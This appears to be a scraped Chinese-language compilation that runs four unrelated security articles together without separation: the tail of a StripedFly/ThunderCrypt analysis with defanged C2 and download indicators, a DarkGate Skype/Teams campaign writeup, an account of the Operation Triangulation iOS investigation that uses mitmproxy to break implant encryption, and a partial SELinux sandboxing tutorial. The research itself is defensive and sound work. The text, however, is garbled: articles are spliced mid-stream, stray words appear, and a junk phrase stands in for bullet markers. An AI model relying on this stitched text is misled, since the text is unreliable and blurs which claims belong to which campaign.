遙測數據顯示,ThunderCrypt首次出現在2017年4月23日,活動的主要高峰期出現在隨後的5月,它因一起相當有趣的事件而引起了台灣新聞網的注意。一名台灣網民因無法支付0.345比特幣的勒索贖金以換取解密內容,決定通過提供的支持電子郵件地址與攻擊者聯繫。他在郵件中坦率地解釋了面臨的困境,提到月收入只有400美元。令許多人吃驚的是,攻擊者回复承認高估了台灣民眾的收入,這次攻擊被認為徹底失敗。

5.png

圖5. 台灣新聞網關於ThunderCrypt的報導

EternalBlue我們認為EternalBlue漏洞與StripedFly背後的開發者存在共同點。我們的假設依賴PE時間戳的準確性,雖然不可能驗證初始EternalBlue模塊時間戳的真實性,但惡意軟件的後續更新含有與遙測數據大致匹配的時間戳,因此初始時間戳很可能也是準確的。我們重新構建的時間線如下:

o2016年4月9日:PE時間戳表明,StripedFly最早的已知版本包含EternalBlue。

o2016年8月:Shadow Brokers組織首次洩露信息。

o2017年3月14日:微軟發布安全公告MS17-010,附有EternalBlue漏洞的補丁。

o2017年4月14日:Shadow Brokers發布了含有EternalBlue漏洞的洩露信息。

o2017年4月15日:第一個包含EternalBlue的勒索軟件ExPetr出現。

o2017年4月20日:出現了最早版本的ThunderCrypt勒索軟件(不含EternalBlue)。

o2017年4月23日:首次在遙測數據中檢測到了ThunderCrypt。

o2017年5月12日:WannaCry勒索軟件攻擊利用了EternalBlue。

o2017年6月27日:ExPetr攻擊使用了EternalBlue。

o2017年8月24日:在初始PE時間戳給出的日期一年後,我們的遙測數據首次檢測到StripedFly。

綜上所述,這些不同的數據表明了與Equation惡意軟件相似,不過沒有直接證據表明它們存在關聯。與Equation惡意軟件家族相關的特徵便於發現了該惡意軟件,編碼風格和方法與SBZ惡意軟件頗為相似。

結論StripedFly是很久以前編寫的,多年來它成功地逃避了檢測,無疑實現了其預期目的。許多矚目和復雜的惡意軟件已被調查過,但這個軟件很特別,確實值得關注。

真正的目的是什麼?這仍然是個謎。雖然ThunderCrypt勒索軟件表明開發者出於商業動機,但它提出了一個問題:為什麼他們不選擇可能更有利可圖的途徑?勒索軟件團伙基本上旨在獲取匿名贖金,而這個案例似乎一反常態。

問題仍然存在,但只有那些設計這個神秘惡意軟件的人知道答案,如此復雜且專業設計的惡意軟件只想達到這種微不足道的目的,實在讓人費解。

攻陷指標C2服務器gpiekd65jgshwp2p53igifv43aug2adacdebmuuri34hduvijr5pfjad[.]onion ghtyqipha6mcwxiz[.]onion

ajiumbl2p2mjzx3l[.]onion

URLbitbucket[.]org/JulieHeilman/m100-firmware-mirror/downloads/

bitbucket[.]org/upgrades/um/downloads/

bitbucket[.]org/legit-updates/flash-player/downloads

gitlab[.]com/JulieHeilman/m100-firmware-mirror/raw/master/

gitlab[.]com/saev3aeg/ugee8zee/raw/master/

github[.]com/amf9esiabnb/documents/releases/download/

tcp://pool.minexmr[.]com:4444

tcp://mine.aeon-pool[.]com:5555

tcp://5.255.86[.]125:8080

tcp://45.9.148[.]21:80

tcp://45.9.148[.]36:80

tcp://45.9.148[.]132:8080

system

從7月到9月,研究人員就已經觀察到DarkGate活動,趨勢科技檢測為TrojanSpy.AutoIt.DARKGATE.AA,攻擊者濫用即時通訊平台向受害者提供VBA加載器腳本。該腳本下載並執行由AutoIT腳本組成的第二階段有效負載,其中包含DarkGate惡意軟件代碼。目前還不清楚即時消息應用程序的原始帳戶是如何被攻擊的,但應該是通過地下論壇獲得的憑據。

DarkGate在過去的幾年裡並不是很活躍。然而,根據Truesec和MalwareBytes的報告,今年已經觀察到多個攻擊部署。通過對這次活動的密切監控,研究人員發現大多數DarkGate攻擊都發生在美洲地區,其次是亞洲、中東和非洲。

1.png

2023年8月至9月DarkGate活動的分佈

DarkGate活動背景DarkGate於2017年底首次被發現,被歸類為商品加載器。自2023年5月以來,DarkGate已經在俄語論壇開始流行,從那時起,使用惡意軟件的初始入口攻擊數量開始有所增加。 DarkGate具有各種功能,包括執行以下操作的功能:

執行發現命令(包括目錄遍歷);

自我更新,自我管理;

實現遠程訪問軟件,如遠程桌面協議或RDP、隱藏虛擬網絡計算或hVNC、AnyDesk;

啟用加密貨幣挖掘功能(啟動、停止和配置);

按鍵記錄(keylogging),Keylogging攻擊是指攻擊者跟踪鍵盤、鼠標活動,獲得用戶輸入的信息,包括帳號、口令等;

從瀏覽器竊取信息;

權限升級。

DarkGate還使用一種名為AutoIt的windows專用自動化和腳本工具,來傳播和執行其惡意功能。儘管AutoIt是一個合法的工具,但它經常被其他惡意軟件家族濫用,用於規避防禦和增加混淆層。然而,從歷史上看,沒有一個著名的加載程序,如IcedID、Emotet或Qakbot被觀察到濫用它,這使得研究人員或安全團隊更容易將這些活動與惡意軟件活動聯繫起來。

將最新的DarkGate變體與2018年同樣濫用AutoIt的樣本進行比較,研究人員觀察到該樣本在初始階段和命令行中添加混淆方面似乎略有變化。然而,感染鏈基本上保持不變。

攻擊概述根據分析,攻擊者濫用兩個組織之間的信任關係來欺騙收件人執行附加的VBA腳本。訪問受害者的Skype帳戶允許攻擊者劫持現有的消息傳遞線程,並製作文件的命名約定,以與聊天歷史的上下文相關。

2.png

DarkGate感染鏈濫用Skype

受害者收到了來自被攻擊的Skype帳戶的消息,該消息包含一個欺騙性的VBS腳本,其文件名格式為:

3.png

帶有嵌入惡意附件冒充PDF文件的Skype消息

受害者執行VBA腳本後,首先創建一個

4.png

VBA腳本內容樣本;VBA腳本充當兩個文件的下載程序:一個是AutoIt可執行文件的合法副本,另一個是惡意編譯的.au3腳本

研究人員檢測到VBA腳本通過使用Windows本地wscript.exe執行加載。該腳本創建了

5.png

Trend Vision One對Skype VBA腳本執行的根本原因分析(RCA)

查看Trend Vision One的RCA,研究人員可以觀察到curl命令用於檢索合法的AutoIt應用程序和相關的惡意fIKXNA.au3(.au3表示AutoIt Version 3腳本文件)。 Curl是通過cmd.exe使用以下參數執行的,以從遠程託管服務器檢索兩個文件:

6.png

在另一個樣本中,觀察到攻擊通過Microsoft Teams消息發送鏈接。在該樣本中,該組織的系統允許受害者接收來自外部用戶的消息,這導致他們成為垃圾郵件的潛在目標。

Truesec的研究人員在9月初記錄了類似的DarkGate技術。雖然Skype程序將VBS文件偽裝成PDF文檔,但在Teams版本的攻擊中,攻擊者隱藏了一個.LNK文件。此外,濫用Teams的樣本來自一個未知的外部發件人。

7.png

將帶有惡意附件的消息分組

研究人員還觀察到VBA腳本的第三種傳遞方法,其中.LNK文件以壓縮文件的形式從創建者的SharePoint網站到達。受害者被引誘瀏覽給定的SharePoint網站並下載名為“Significant company changes September.zip”的文件。

.ZIP文件包含以下冒充PDF文檔的.LNK文件:

Company_Transformations.pdf.lnk

Revamped_Organizational_Structure.pdf.lnk

Position_Guidelines.pdf.lnk

Fresh_Mission_and_Core_Values.pdf.lnk

Employees_Affected_by_Transition.pdf.lnk使用條件執行,只有在上一個命令失敗時,才會執行附帶的命令。LNK文件包含以下命令:

8.png

成功後,將下載並執行loaderVBA腳本(hm3.vbs)。 VBA腳本將繼續從System32目錄複製並將curl.exe重命名為“

9.png

Trend Vision One RCA使用.LNK文件作為初始入口DarkGateAU3腳本

下載的工件既包含AutoIt的合法副本,也包含惡意編譯的AutoIt腳本文件,其中包含DarkGate的惡意功能。在加載腳本之前,AU3文件首先執行以下檢查。如果不滿足以下任何一個條件,腳本將被終止:

確認%Program Files%存在時;

當掃描的用戶名不是“SYSTEM”時;

一旦環境檢查完成,程序就會搜索帶有'.au3'擴展來解密和執行DarkGate有效負載,如果無法加載. au3文件,程序將顯示一個錯誤消息框並終止執行。

成功執行.AU3文件後,該文件生成位於C:\ProgramFiles(x86)\.中的代理進程,這些進程包括iexplorer .exe、GoogleUpdateBroker.exe和Dell.D3.WinSvc.UILauncher.exe。它們被注入shellcode以在內存中執行DarkGate有效負載。

惡意軟件通過將隨機命名的LNK文件放入Windows用戶啟動文件夾來實現持久性,從而在每次系統啟動時自動執行該文件,執行路徑如下:

此外,執行將使用隨機生成的七字符字符串在Program Data目錄下的主機上創建一個文件夾來存儲日誌和配置數據。為了幫助調查DarkGate有效負載和進程,Telekom Security可以使用一個工具來轉儲配置文件。

10.png

.AU3腳本片段

11.png

提取配置

安裝後活動該攻擊被觀察到作為附加有效負載的下載程序。安裝DarkGate惡意軟件後,它會在

被釋放的文件被檢測為DarkGate或Remcos的變體,可能是作為加強攻擊者在受感染系統中的立腳點的一種手段。以下是研究人員為這些額外負載找到的一些樣本文件名:

Folkevognsrugbrd.exe

logbackup_0.exe

sdvbs.exe

Vaabenstyringssystem.exe

Sdvaners.exe

Dropper.exe

12.png

DarkGate惡意軟件釋放額外有效負載

總結在本示例中,攻擊者在實現其目標之前就發現並控制了攻擊。然而,研究人員注意到,鑑於之前的DarkGate,攻擊者的目標可能會有所不同,這取決於所使用的攻擊機構。

攻擊者可以利用這些有效負載用各種類型的惡意軟件感染系統,包括信息竊取、勒索軟件、惡意使用或濫用的遠程管理工具,以及加密貨幣挖礦工具。

在本文的樣本中,Skype應用程序被合法地用於與第三方供應商通信,使其更容易滲透或引誘用戶訪問惡意文件。攻擊者的最初目標只是在環境中獲得立足點,最終目標仍然是滲透整個環境,通過對購買或租用DarkGate變體的攻擊組織的分析,攻擊包含勒索和加密挖礦等。根據發現的樣本,研究人員初步判斷DarkGate與Black Basta勒索軟件組相關。

只要允許外部消息傳遞,或者不檢查通過受攻擊帳戶濫用信任關係,那麼就可以對任何即時消息傳遞(IM)應用程序執行這種初始輸入技術,向組織引入任何新的應用程序都應該伴隨著保護和限制該組織攻擊面的措施。

在本文的示例中,IM應用程序應該由組織控制,以執行諸如阻止外部域、控製附件以及實現掃描等規則,研究人員強烈建議使用多因素身份驗證(MFA)來保護應用程序(包括IM應用程序),以防止有效憑據被盜取。

應用程序允許列表是一種很好的防禦機制,可以確保最終用戶只能訪問和執行某些應用程序。

APT_Apple_SL_Feat-1200x600.jpg

今年6月,卡巴斯基的研究者就發現有攻擊者利用iMessage來傳播惡意軟件,iOS 15.7以及此前版本均受到影響。研究人員通過mvt-ios(iOS 移動驗證工具包)分析受攻擊的設備之後,發現他們可以通過iMessage發送信息,受害者在接收到信息之後,不需要任何用戶交互,就能觸發系統內漏洞,從而執行任意惡意代碼。研究人員將這個攻擊活動稱為'Triangulation活動'。

加图1.png

Triangulation活動的首次公開報導請看這篇文章,正如研究人員在三角測量行動的第一篇文章中提到的,最初發現的受攻擊設備正是在莫斯科總部工作的卡巴斯基員工。所有這些設備都連接到公司的Wi-Fi網絡,這樣研究人員就可以記錄和檢查網絡流量。在花了一些時間調查Wireshark之後,研究人員最終發現了以下內容:

1.在表現出可疑行為之前,連接到iMessage服務器的設備通常負責接收信息和下載附件;

2.在下載了可能是附件的幾千字節數據後,這些設備建立了與服務器backuprabbit[.]com的連接,在不到一分鐘的時間內與服務器交換數據;

3.接下來,設備連接到以下服務器進行更長的會話:

cloudsponcer[.]com

snoweeanalytics[.]com

topographyupdates[.]com

unlimitedteacup[.]com、

virtuallaughing[.]com

4.設備重啟後,所有可疑活動都停止了;

所有與服務器的通信都是通過HTTPS進行的,所以研究人員無法從流量中恢復任何額外的細節。

設備映像由於所有的設備都觸手可及,研究人員下一步就是檢查它們的內容。不幸的是,研究時可用的取證採集軟件基於checkra1n和類似的漏洞,不適用於運行iOS 15和16的現代處理器。

檢查備份研究人員下一步決定使用設備的iTunes備份來代替完整的設備映像,這一程序必須在相當保密的情況下進行,以免提醒攻擊者。

由於研究人員不知道攻擊者的確切能力,只能默認他們在監聽設備的麥克風,閱讀電子郵件和即時通信對話。所以,研究人員不得不親自安排會議,把手機放在飛機模式下,有時放在法拉第包裡。研究人員使用libimobiledevice的優秀工具來獲取備份,並通過使用移動驗證工具包構建事件時間軸來檢查它們,該時間軸結合了文件系統時間戳和從各種系統數據庫中提取的數據記錄。研究人員專注於iMessage目錄,因為早在2021年,Citizen Lab的研究人員通過檢查這些目錄中的文件發現了FORCEDENTRY漏洞。

Triangulation活動背後的攻擊者非常隱蔽,研究人員在備份中沒有發現任何漏洞利用的跡象,他們還搜索了惡意軟件的可執行文件,但也沒有找到。

不過,研究人員還是發現了可疑網絡活動的時間戳。為此,他們開始尋找時間軸上發生在同一時間的重複事件。結果,研究人員發現了一個看起來像新指示器的東西,數據使用記錄提到了一個名為“BackupAgent”的系統進程,不過這個進程根本不應該被執行,因為二進製文件在幾年前就被棄用了。

1.png

在設備日誌中觀察到的來自BackupAgent進程的異常活動,研究人員在Triangulation 活動的第一篇文章中就分享過這個片段。

基於這個異常的發現,研究人員編寫了第一版的triangle_check工具,它使研究人員能夠快速確認設備的備份是否包含潛在攻擊的痕跡。

試圖攔截惡意iMessage進一步查看事件時間軸,研究人員發現了第二個痕跡,在BackupAgent進程使用數據之前,修改了一個空的SMS附件目錄。由於目錄被修改了,但不包含任何文件,這通常意味著可以高度肯定最後一個操作是文件刪除,有一個傳入的附件,它被刪除幾秒後,名為BackupAgent的進程正在運行可疑的網絡代碼。

由於Triangulation 活動背後的攻擊者似乎足夠聰明,可以從受攻擊的設備中刪除惡意附件,因此研究人員決定嘗試在iMessage傳遞過程中捕獲傳入消息。在尋找攔截imessage的方法時,研究人員發現了谷歌Project Zero團隊編寫的Frida腳本。它是為Mac電腦設計的,所以研究人員拿了一台備用的Mac mini,在上面安裝了Frida。然後,研究人員要求幾位目標同事用他們的蘋果id登錄Mac mini。這樣,研究人員能夠監控和攔截他們收到的imessage,接下來要做的就是等待攻擊者再次攻擊。

與此同時,研究人員積極監控SIEM日誌,尋找可疑活動的痕跡。很快,研究人員就發現了熟悉的網絡連接,這表明一款帶有iMessage帳戶的手機成功攻擊。然而,當我們檢查Mac mini上的iMessage攔截日誌時,卻沒有消息痕跡。因此,系統無法捕獲可能包含漏洞的消息,所以我們開始尋找其他方法來捕獲惡意軟件。

在通過Mac設備攔截iMessages的計劃失敗後,研究人員決定嘗試解密之前從流量分析中識別出的C2服務器的HTTPS通信。

為此,需要做到:

搭建Linux服務器,安裝HTTPS攔截工具mitmproxy;

在幾個已知被攻擊的iOS設備上安裝了根SSL證書(研究人員之前通過mitmproxy生成的);

在這些設備上安裝Wireguard VPN客戶端,並配置它們使用研究人員的mitmproxy實例作為VPN服務器。

研究人員還開發了一個Telegram機器人,當受監控的設備被攻擊時,它會通知研究人員:

2.jpg

不幸的是,這種方法不允許研究人員攔截蘋果服務(包括iMessage)的HTTPS流量,因為iOS為此實現了SSL綁定。因此,研究人員無法解密來自VPN的iMessage流量。

捕捉JavaScript驗證器一旦攻擊者再次攻擊了其中一個目標,研究人員查看了mitmproxy日誌,注意到它成功地解密了C2服務器的流量:

3.png

研究人員希望獲得的有效負載是iOS的漏洞。但是,它是JavaScript驗證器,它只是收集有關受害瀏覽器的信息並將其發送到C2服務器。

研究人員觀察到受攻擊的設備接收響應發送到C2服務器的驗證信息的有效負載。然而,雖然研究人員能夠攔截HTTPS流量,但無法解密它。這是因為JS驗證器使用NaCl庫為C2通信實現了自己的加密層,使用的加密算法基於公鑰加密。具體來說,為了與C2服務器通信,JS驗證器如下:

1.生成一個隨機密鑰對(由私鑰和公鑰組成);

2.從生成的私鑰和C2服務器的公鑰中派生共享密鑰;

3.使用此共享密鑰加密發送到C2服務器的消息並解密從C2服務器接收到的消息。

4.png

密鑰生成為了解密C2服務器通信,有必要知道由JS驗證器隨機生成的私鑰。但是,這個密鑰保存在內存中,不會被發送到C2服務器,所以研究人員必須做一些額外的工作來解密驗證器的流量。

如上圖所示,JS驗證器通過調用nacl.box.keyPair()方法生成一個隨機密鑰對。為了解密流量,研究人員編寫了一個很小的mitmproxy附加組件,用於查找對nacl.box.keyPair()方法的調用。然後用另一個方法nacl.box.keyPair.fromSecretKey()替換它們,該方法根據提供的私鑰初始化對。

5.png

從上圖中可以看出,研究人員將私鑰硬編碼到該方法的參數中,從而隱藏驗證器的加密方案。一旦在受攻擊的設備上執行了後門驗證器,就可以解密JS驗證器的所有通信。

二進制驗證器和關於附件的提示一旦攻擊者再次攻擊了其中一個目標,研究人員就能夠分析驗證器進一步執行的有效負載。結果發現它包含兩個漏洞:一個針對WebKit,另一個針對iOS內核。這兩個漏洞的最終目標是在目標設備上啟動二進制驗證器階段。

如上所述,二進制驗證器包含一個清除惡意iMessage痕蹟的函數。具體來說,研究人員發現這個函數向SMS.db數據庫發出以下SQL請求:

6.png

條件“uti==”com.apple.watchface“”給了我們另一個提示:現在很明顯,惡意附件是.watchface文件。因此,通過更多關於附件的信息,研究人員計劃並執行了獲取附件的下一次嘗試。

發送iMessage附件的過程為了設計另一種獲取附件的策略,研究人員決定更詳細地研究發送iMessage附件的過程。這個過程包括以下幾個步驟:

1.發送方生成一個隨機的AES密鑰並用它加密附件;

2.加密的附件被上傳到iCloud;

3.iCloud加密附件的鏈接與AES密鑰一起發送給收件人,AES密鑰使用設備的公共RSA密鑰進行額外加密。

因此,要獲取惡意附件文件,研究人員必須檢索兩個組件:

1.加密的附件;

2.用於加密的AES密鑰。

獲取加密的附件非常簡單,因為可以通過mitmproxy攔截到iCloud服務器的流量。之前,研究人員寫過iOS不允許解密蘋果服務的HTTPS流量,iCloud附件鏈接卻是一個例外。

同時,AES密鑰的獲取過程相當困難。它是通過iMessage協議發送的,因此不能通過mitmproxy進行攔截。不過,研究人員發現了一種恢復附件的方法,並通過對目標設備的物理訪問提取該密鑰。研究人員使用iCloud鏈接阻止iMessage成功下載附件,因此該漏洞不會激活然後刪除附件,但AES加密密鑰將存儲在SMS.db數據庫中。

研究人員決定使用mitmproxy附加組件更改加密附件中的幾個字節。這樣,研究人員中斷了下載加密附件的過程,解密密鑰保存在SMS.db數據庫中。然後,研究人員下載了受攻擊設備的iTunes備份,並從該備份中的數據庫中提取了密鑰。結果,研究人員獲得了攻擊者發送的惡意.watchface附件,這是用於使用漏洞利用鏈的開始。

植入過程在研究人員獲得攻擊者使用的漏洞之後,剩下的就是獲得植入程序了。二進制驗證器是負責從C2服務器下載和激活植入有效負載的組件,它使用RSA和AES的組合進行通信。同樣,使用RSA意味著僅使用加密流量是不可能解密植入有效負載的。

為了與C2服務器交換數據,二進制驗證器需要:

1.生成一個隨機的AES密鑰;

2.用驗證器配置中指定的服務器的RSA公鑰加密生成的AES密鑰;

3.使用生成的AES密鑰對要發送到C2服務器的消息進行加密;

4.向C2服務器發送加密消息,並接收C2服務器的響應;

5.使用用於加密發送消息的相同AES密鑰解密響應。

驗證器用以下ARM指令加密所有數據包:

7.png

這段代碼首先執行“serialized_plist”函數,該函數為發送準備數據。執行之後,寄存器X0指向準備發送到服務器的數據。

下一個要調用的函數是“encryptData”。它有兩個參數:一個指向正在加密的數據的指針被傳遞到X0寄存器,而X1寄存器包含一個帶有配置數據(包括加密參數)的pllist。在執行這個函數之後,X0寄存器包含一個指向加密附件的指針。

為了破壞加密過程來攔截來自受攻擊設備的數據。研究人員決定將對“encryptData”函數的調用替換為NOP指令(1f2003d5)。這樣,X0寄存器的值將不會被指向加密數據的指針覆蓋,並且驗證器將向研究人員的VPN服務器發送明文數據。

就像JavaScript驗證器的情況一樣,研究人員通過擴展mitmproxy插件來修補代碼:

8.png

使用NOP修補對encryptData函數調用的mitmproxy附加代碼片段

當明文數據到達研究人員的VPN服務器時,他們會再次通過mitmproxy附加組件模擬密鑰交換和數據加密,並控制加密密鑰的值。結果,研究人員成功地解密了C2服務器發送的數據,並提取了植入程序。

獲取模塊在對TriangleDB植入程序進行逆向工程後,研究人員發現它能夠執行輔助模塊,這讓研究人員想要獲得模塊二進製文件。在對植入的分析中,發現模塊可執行文件通過CRXUpdateRecord和CRXUpdateRunRecord命令傳遞給植入程序。因此,為了獲得這些可執行文件,必須能夠解密發送到C2服務器的所有命令。

同樣,加密算法是基於RSA的,所以研究人員的操作類似於獲取植入程序二進製文件的操作。

不過這一次,研究人員決定:

1.生成自己的RSA公鑰/私鑰對;

2.將植入配置中的RSA公鑰替換為先前生成的公鑰。

研究人員將以下代碼添加到mitmproxy插件中:

9.png

當植入流量到達研究人員的VPN服務器時:

1.用研究人員生成的RSA私鑰解密它;

2.保存解密後的流量;

3.使用攻擊者使用的公鑰對流量重新加密。

通過這種方式,研究人員能夠監控由植入程序執行的所有通信,並獲得模塊二進製文件。

總結研究人員調查Triangulation活動的過程相當漫長,總共花了幾個月的時間。儘管經歷了許多波折,研究人員最終還是設法獲得了這次攻擊中使用的所有階段,包括向蘋果報告的四個零日漏洞,兩個驗證器,一個植入程序及其模塊。

在此過程中,研究人員對iOS內部進行了大量研究,並提出了許多有趣的技術,例如研究人員用於提取iMessage附件的技術。研究人員在研究過程中遇到的主要困難是處理在攻擊鏈的每個階段都使用的公鑰加密。為了繞過加密,研究人員必須開發一個mitmproxy附加組件。

監控和限制對潛在惡意文件的訪問可以使您的產品免遭黑客攻擊、數據洩露和破壞。為了在基於Linux的環境中做到這一點,開發人員通常必須進行內核級修改,這實現起來很複雜,並且對系統來說存在風險。

在本文中,我們探討了內核級修改的替代方案:安全增強型Linux (SELinux) 中的自定義策略和沙箱。我們研究如何使用它們進行事件記錄和監視、限製文件訪問以及控制自定義沙箱內的系統調用。

為什麼要限制Linux 環境中的文件訪問?在創建軟件解決方案時(無論是簡單的驅動程序還是複雜的網絡安全系統),保護您的產品免遭未經授權的訪問非常重要。對於開發基於Linux 的產品的團隊來說,監視和管理數據和文件訪問的常見原因包括:

image.png

有幾種傳統方法可以做到這一點:創建Linux 內核模塊來掛鉤文件操作、設置掛鉤來監視和控制進程等。傳統的限制訪問方法通常需要高級技術專業知識,並且會給開發過程帶來額外的複雜性。它們還可能向您的環境添加嚴重錯誤,因為它們通常需要內核級更改。這就是為什麼只有當您需要對文件的訪問權限進行細緻的控制時,此類方法才有用。

當您只需要監視、允許或拒絕訪問而不需要任何其他更改時,最好使用SELinux。該系統集成到Linux 內核中,為開發人員提供強制訪問控制的方法。 SELinux 為Linux 環境中的元素設置上下文並通過策略對其進行管理。 SELinux 提供了一個強大的沙箱,允許您在有限的環境中執行進程。此環境利用SELinux 策略來定義沙箱中運行的進程的約束和權限。使用此類策略可以讓開發人員有效地增強其應用程序的安全狀況。

使用SELinux 管理文件訪問有幾個優點:

马云惹不起马云 簡單的政策管理。 SELinux 的策略文件是人類可讀的,因此無需學習特定語法來編寫策略。

马云惹不起马云精細的訪問控制。您可以在策略中指定任何訪問限制和權限。

马云惹不起马云可靠的文件隔離。為了控制對文件的訪問,SELinux 將其放入沙箱中,將文件與環境的其餘部分隔離。

马云惹不起马云簡化訪問管理。更改策略中的訪問權限比實施和進行內核級修改要容易得多。

在詳細探索如何使用SELinux 之前,請確保有一個適合創建SELinux 策略的環境。請注意,在本示例中,我們使用Fedora Workstation 和Red Hat Enterprise Linux 發行版。默認情況下,這些系統上啟用了SELinux,但最好在繼續我們的指南之前仔細檢查您的系統是否啟用了SELinux。

設置SELinux環境在將SELinux 策略應用於生產系統之前,請確保在測試或開發環境中執行此處描述的步驟。錯誤配置的策略可能會影響系統功能和安全性。

如果您的Linux 發行版不包含SELinux,您可以通過打開終端並以root 用戶身份執行以下命令來啟用它:

$sudodnfinstallselinux-policy-targeted安裝完成後,重新啟動系統。重新啟動後,SELinux 將啟用並在強制模式下運行。要確認其安裝成功,請打開終端並執行以下命令:

$sestatus

SELinuxstatus:enabled

SELinuxfsmount:/sys/fs/selinux

SELinuxrootdirectory:/etc/selinux

Loadedpolicyname:targeted

Currentmode:enforcingThislinedescribescurrentmode

Modefromconfigfile:enforcing

PolicyMLSstatus:enabled

Policydeny_unknownstatus:allowed

Memoryprotectionchecking:actual(secure)使用SELinux 對進程進行沙箱處理默認情況下,沙箱工具利用多類別安全(MCS) 模型來實施細粒度的訪問控制和進程隔離。該模型根據每個進程和文件的安全級別和類別為其分配唯一的安全標籤。

讓我們在沙箱中運行/bin/bash 進程,以限制它訪問敏感文件或執行某些命令。

要創建沙箱並在其中啟動/bin/bash,我們使用沙箱命令,如下所示:

$sandbox-Hsandbox_test/bin/bash沙箱工具應用SELinux 策略將進程限制在沙箱內。這些策略定義進程的訪問權限、系統調用限制和文件限制。策略確保進程只能訪問沙箱配置允許的資源並執行操作。在幕後,它們生成隨機MCS 編號並將其設置為我們進程的SELinux 安全上下文。策略還標記了我們的流程可用的相應文件。

例如,將SELinux 沙箱用於/bin/bash 進程,主目錄位於sandbox_test 中,將導致ls -lZ我們的目錄出現以下輸出:

$ls-lZ|grepsandbox_test

drwxr-xr-x.2useruserunconfined_u:object_r:sandbox_file_t:s0:c146,c31249May306:50sandbox_test在我們的例子中,隨機MCS 數是c146和c312。 /bin/bash 進程使用這些數字運行,根據沙箱源代碼它將獲取SELinux 安全上下文執行命令:

$ps-eZ|grepbash

unconfined_u:unconfined_r:sandbox_t:s0:c146,c312172662?00:00:00bash該策略有效地將我們的bash 進程限制在其主目錄中。但是,此解決方案僅適用於特定文件夾,並限制對具有隨機MCS 編號的特定文件的訪問。具有相同主文件夾的另一個沙盒bash 會與此衝突。為了克服這一限制,我們可以利用沙箱工具及其源代碼的知識來創建自定義SELinux 策略,限制對特定SELinux 類型的訪問。

在接下來的部分中,我們將探討兩種類型的SELinux 策略:

马云惹不起马云寬鬆的策略,不會阻止任何連接,僅監視和記錄安全事件,包括違規行為。當您需要測試、調試或研究文件時,寬鬆策略非常有用。

马云惹不起马云 一種強制策略,用於建立文件的訪問權限並限制任何禁止的活動。它對於建立訪問管理和保護您的解決方案非常有用。

讓我們從建立一個寬鬆的SELinux 策略示例開始。

制定寬鬆政策要為/bin/bash 這樣的簡單進程創建SELinux 策略,我們可以使用該sepolicy generate命令。讓我們運行以下命令,為/bin/bash 進程生成策略文件,並將其命名mybash:

$sudosepolicygenerate--application/bin/bash-nmybashmybash.te 文件包含我們策略的人類可讀的SELinux 規則。接下來,我們需要啟用從unconfined_t 域到自定義mybash_t 域的轉換。為此,我們將以下宏包含在mybash.te 文件中:

unconfined_run_to(mybash_t,mybash_exec_t)該宏允許在執行/bin/bash 進程時在域之間進行轉換,並使我們能夠通過setexeccon為特定進程設置自定義SELinux 域類型。

我們的策略文件現在如下所示:

policy_module(mybash,1.0.0)

########################################

#

#Declarations

#

attribute_rolemybash_roles;

roleattributesystem_rmybash_roles;

typemybash_t;

typemybash_exec_t;

application_domain(mybash_t,mybash_exec_t)

rolemybash_rolestypesmybash_t;

unconfined_run_to(mybash_t,mybash_exec_t)

permissivemybash_t;

########################################

#

#mybashlocalpolicy

#

allowmybash_tself:capability{chownsetgidsetuid};

allowmybash_tself:process{forksetpgidsetrlimitsignal_perms};

allowmybash_tself:fifo_filemanage_fifo_file_perms;

allowmybash_tself:unix_stream_socketcreate_stream_socket_perms;

domain_use_interactive_fds(mybash_t)

files_read_etc_files(mybash_t)

auth_use_nsswitch(mybash_t)

logging_send_syslog_msg(mybash_t)

miscfiles_read_localization(mybash_t)

sysnet_dns_name_resolve(mybash_t)要為/bin/bash 進程安裝此自定義策略並允許/bin/bash 進程在指定的SELinux 上下文下運行,讓我們執行自動生成的腳本:

$sudo./mybash.sh要直接從bash shell 設置進程上下文,我們可以使用一個簡單的代碼片段。讓我們創建一個新文件,將其命名為set_context.c,並向其中添加以下代碼:

#includeselinux/selinux.h

#includestdio.h

#includestdlib.h

#includeunistd.h

#includeerrno.h

intmain(void){

security_context_tcontext_old={0};

security_context_tcontext_new={0};

if(getcon(context_old)==-1){

printf('Failedtogetcontext');

return1;

}

printf('%s\n',context_old);

if(setexeccon((security_context_t)'unconfined_u:unconfined_r:mybash_t:s0')==-1){

printf('Failedtosetcontexterrno%d\n',errno);

return1;

}

execve('/bin/bash',NULL,NULL);

return0;

}現在我們將構建並運行此代碼:

$gcc-omybashset_context.c-lselinux

$./mybash

$此代碼檢索當前SELinux 上下文,將新上下文設置為unconfined_u:unconfined_r:mybash_t:s0,然後使用更新的上下文執行/bin/bash 進程。

現在我們對/bin/bash 進程有了一個寬鬆的策略,並且可以在指定的SELinux 上下文中執行它。讓我們打開另一個終端並檢查/var/log/audit/audit.log。在這裡我們可以看到bash啟動後請求了什麼樣的權限:

type=AVCmsg=audit(1683645539.705:301246):avc:denied{append}forpid=173167comm='bash'name='.bash_history'dev='dm-1'ino=1225470scontext=unconfined_u:unconfined_r:mybash_t:s0tcontext=unconfined_u:object_r:user_home_dir_t:s0tclass=filepermissive=1

type=SYSCALLmsg=audit(1683645539.705:301246):arch=c000003esyscall=257success=yesexit=3a0=ffffff9ca1=55bdf355c5f0a2=401a3=0items=0ppid=172599pid=173167auid=1000uid=1000gid=1000euid=1000suid=1000fsuid=1000egid=1000sgid=1000fsgid=1000tty=pts2ses=32comm='bash'exe='/usr/bin/bash'subj=unconfined_u:unconfined_r:mybash_t:s0key=(null)ARCH=x86_64SYSCALL=openatAUID='sboy'UID='sboy'GID='sboy'EUID='sboy'SUID='sboy'FSUID='sboy'EGID='sboy'SGID='sboy'FSGID='sboy'

type=AVCmsg=audit(1683645539.705:301247):avc:denied{setattr}forpid=173167comm='bash'name='.bash_history'dev='dm-1'ino=1225470scontext=unconfined_u:unconfined_r:mybash_t:s0tcontext=unconfined_u:object_r:user_home_dir_t:s0tclass=filepermissive=1

